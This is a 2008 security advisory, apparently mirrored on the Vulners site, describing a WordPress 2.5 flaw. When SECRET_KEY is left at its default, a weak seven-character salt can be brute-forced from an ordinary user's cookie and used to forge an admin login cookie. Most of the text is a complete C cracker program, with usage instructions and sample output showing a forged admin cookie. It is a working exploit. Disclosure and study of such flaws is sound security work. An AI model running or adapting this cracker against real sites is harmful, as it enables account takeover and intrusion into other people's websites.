`WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
-------------------------------------------
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
By J. Carlos Nieto <[email protected]>
http://xiam.menteslibres.org
Severity
========
Medium. It affects only a determinate part of the WordPress users under
specific conditions.
Affected software
=================
WordPress 2.5
Vulnerability conditions
========================
After the initial WordPress instalation, the wp-config.php's SECRET_KEY
must remain as te default value: 'put your unique phrase here' or be
undefined, the default value remains untouched after installing via a
browser.
When the WordPress package is unpacked and the victim is ready to
install it, he will be asked to read the manual in order to create a
wp-config.php file, or to change permissions for the installation
directory to be writable. If he choose to change directory permissions,
the installation will be completely via web and the SECRET_KEY will
remain as the default value.
There exists some other conditions that let the user install WordPress
without even knowing that he must change a SECRET_KEY in wp-config.php
1.- If the user attempts to install WordPress on Windows. Since Windows
does not have a strong permissions check.
2.- If the user attempts to install WordPress under Apache + suexec. The
files are not readable or writable for all other users, but writable for
the user himself. Thus the installed won't ask you to read the manual.
3.- Some hosting companies have a one-click installer that does not
setup a SECRET_KEY.
4.- You failed to read the whole installation manual.
Vulnerable scripts
==================
wp-include/pluggable.php
function wp_validate_auth_cookie($cookie) {
...
// The cookie is not being validated.
list($username, $expiration, $hmac) = explode('|', $cookie);
...
// I could send 9999999999 as the second argument of the cookie to
skip this condition.
if ( $expired < time() )
return false;
...
// A mysterious hash is used here, the hash becomes a seven
// character word generated by wp_generate_password()
// (a.k.a. SECRET_SALT), note that wp_salt() sets
// $secret_key to null if SECRET_KEY is equal to the default value.
.
// The argument passed to wp_hash() in the next line is
// completely poisonable.
// To gain admin privileges I could use:
// 'admin|9999999999|MISTERIOUSHASH' as my cookie.
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
// A weak check, I may provide a custom $hmac by knowing
// the wp_salt()'s value.
if ( $hmac != $hash )
return false;
// There is no password check, not even IP verification
$user = get_userdatabylogin($username);
}
...
function wp_salt() {
global $wp_default_secret_key;
$secret_key = '';
// If the key is null, not defined or has the default
// value $secret_key remains null
// if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && (
$wp_default_secret_key != SECRET_KEY) )
$secret_key = SECRET_KEY;
if ( defined('SECRET_SALT') ) {
$salt = SECRET_SALT;
} else {
$salt = get_option('secret');
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
}
// $salt is a seven char long password. $secret_key is null.
return apply_filters('salt', $secret_key . $salt);
}
The wp_salt()'s value is stored here:
mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
| 61 | 0 | secret | eat5fsE | yes |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)
So if the attacker gets the value of that seven length string he can
craft a special cookie and gain access to ANY account he wants.
How can I know the value of wp_salt()?
--------------------------------------
I am thinking of two ways to get the value of the wp_salt():
1.- Gain access to the WP database by using a SQL injection (such as the
GBK encoding and addslashes() issue) on the WordPress core itself or on
a third party plugin (the latest is more likely to be possible). I din't
find any user-level SQL injection on the WP core.
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an
offline attack using an specialized program.
Possible solution
=================
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to
change the SECRET_KEY's value.
The SECRET_KEY should be changed automatically to something random.
Proof of concept
================
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack
wp_salt()'s values using a legitimate cookie as an argument.
This is the output of my program cracking the wp_salt() based on a
unprivileged user cookie:
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:
$ gcc -lcrypto -Wall -o wpsalt wpsalt.c
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE
=== Success! ===
* Key: eat5fsE
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442
=== Statistics ===
* Time taken: 31.240000 s
* Average speed: 308986.363636 w/s
The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]
The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long
wp_password(). If we perform a linear attack, we would have to wait (in
the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are
lucky and we feed the program with a 31 long (a half of the total)
character set that contains the seven magic letters, the attack can be
reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if
we are very lucky. The time of the attack is incremented exponentially
with each extra character.
Vulnerability timeline
======================
Apr 12, 2008 - Vulnerability found.
Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.
Acknowledgments
===============
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to
report a WordPress security vulnerability and helped me to test the
severity of the issue.
Attachments
===========
--- begins wpsatl.c ---
/***
*
* Wordpress 2.5 cookie based salt cracker
* by J. Carlos Nieto <[email protected]>
* http://xiam.menteslibres.org
*
* Date:
* April 13, 2008
*
* Advisory:
*
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
*
* $ gcc -Wall -lcrypto -o wpsalt wpsalt.c
* $ ./wpsalt
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <openssl/md5.h>
#include <time.h>
#define CHARSET
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define KEY_LEN 7
#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')
void digest_to_string(unsigned char *, unsigned char *);
void print_digest(unsigned char *);
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);
void exit(int);
void help();
void wp_hash(char *, int, unsigned char *, int, unsigned char *);
void error(const char *);
void string_to_digest(const char *, unsigned char *);
void digest_to_string(unsigned char *digest, unsigned char *string) {
int i;
int s;
for (i = 0; i < 16; i++) {
s = digest[i]%16;
string[i*2] = dechex((digest[i]-s)/16);
string[i*2+1] = dechex(s);
}
string[32] = 0;
}
void print_digest(unsigned char *digest) {
unsigned char string[32];
digest_to_string(digest, string);
printf("%s\n", string);
}
/* http://www.faqs.org/rfcs/rfc2104.html */
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int
key_len, unsigned char *digest) {
MD5_CTX context;
unsigned char k_ipad[65];
unsigned char k_opad[65];
//unsigned char tk[16];
int i;
/*
if (key_len > 64) {
MD5_CTX tctx;
MD5_Init(&tctx);
MD5_Update(&tctx, key, key_len);
MD5_Final(tk, &tctx);
key = tk;
key_len = 16;
}
*/
bzero(k_ipad, 65);
bzero(k_opad, 65);
bcopy(key, k_ipad, key_len);
bcopy(key, k_opad, key_len);
for (i = 0; i < 64; i++) {
k_ipad[i] ^= 0x36;
k_opad[i] ^= 0x5c;
}
MD5_Init(&context);
MD5_Update(&context, k_ipad, 64);
MD5_Update(&context, text, text_len);
MD5_Final(digest, &context);
MD5_Init(&context);
MD5_Update(&context, k_opad, 64);
MD5_Update(&context, digest, 16);
MD5_Final(digest, &context);
}
void help() {
printf("WordPress 2.5, cookie based salt cracker\n");
printf("by xiam <[email protected]>\n");
printf("============================================================\n");
printf("Advisory:
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n");
printf("\n");
printf("Usage:\n");
printf(" ./wpsalt username timestamp hash [charset]\n");
printf("\n");
printf("Example:\n");
printf(" Get a legitimate user cookie, it doesn't need to be from\n");
printf(" a privileged user.\n");
printf(" It should look like this:\n");
printf(" admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");
printf(" Run the program:\n");
printf(" $ ./wpsalt admin 1208298864 \\\n");
printf(" 981a2a1363e9044a1181661b46777410\n");
printf(" Now wait some months... or if you're feeling lucky,
specify\n");
printf(" a charset such as in the example below:\n");
printf(" $ ./wpsalt admin 1208298864 \\\n");
printf(" 981a2a1363e9044a1181661b46777410 aef5Est\n");
exit(0);
}
void wp_hash(char *data, int data_len, unsigned char *key, int key_len,
unsigned char *digest) {
unsigned char salt[16];
unsigned char inter_key[32];
hmac_md5((unsigned char *)data, data_len, key, key_len, salt);
digest_to_string(salt, inter_key);
hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);
}
void error(const char *s) {
printf("E: %s\n", s);
exit(0);
}
void string_to_digest(const char *string, unsigned char *digest) {
int i;
int c;
if (strlen((char *)string) == 32) {
for (i = 0; i < 16; i++) {
c = hexdec(string[2*i])*16;
c += hexdec(string[2*i+1]);
digest[i] = c;
}
} else {
error("The hash must be a 32 chars string.");
}
}
int main(int argc, char *argv[]) {
unsigned char goal_digest[16];
unsigned char key[KEY_LEN+1];
char *data;
char *charset;
int map[KEY_LEN];
int charset_len, data_len;
unsigned long long int words;
int i, j, carr, cont;
clock_t time_start, time_end;
double total_time;
unsigned char digest[16];
data = NULL;
charset = NULL;
if (argc > 3) {
string_to_digest(argv[3], goal_digest);
data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) +
strlen(argv[2]) + 1));
strcat(data, argv[1]);
strcat(data, argv[2]);
if (argc > 4) {
charset = argv[4];
} else {
charset = CHARSET;
}
} else {
help();
}
data_len = strlen(data);
charset_len = strlen(charset)-1;
for (i = 0; i < KEY_LEN; i++) {
map[i] = 0;
key[i] = charset[0];
}
key[i] = '\0';
map[0] = -1;
time_start = clock();
for (words = -1, cont = 1; cont; words++) {
j = 0;
map[j]++;
if (map[j] > charset_len) {
map[0] = 0;
key[0] = charset[0];
carr = 1;
j++;
while (carr) {
if (j < KEY_LEN) {
map[j]++;
if (map[j] > charset_len) {
map[j] = 0;
} else {
carr = 0;
}
key[j] = charset[map[j]];
j++;
} else {
cont = 0;
carr = 0;
}
}
} else {
key[0] = charset[map[0]];
}
wp_hash(data, data_len, key, KEY_LEN, digest);
if (memcmp(digest, goal_digest, 16) == 0) {
printf("=== Success! ===\n");
printf("* Key: %s\n", key);
wp_hash("admin9999999999", 15, key, KEY_LEN, digest);
printf("* Valid cookie: admin%%7C9999999999%%7C");
print_digest(digest);
cont = 0;
}
}
time_end = clock();
total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;
printf("\n");
printf("=== Statistics ===\n");
printf("* Time taken: %f s\n", total_time);
printf("* Average speed: %f w/s\n", words/total_time);
return 0;
}
--- ends wpsalt.c ---
--
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation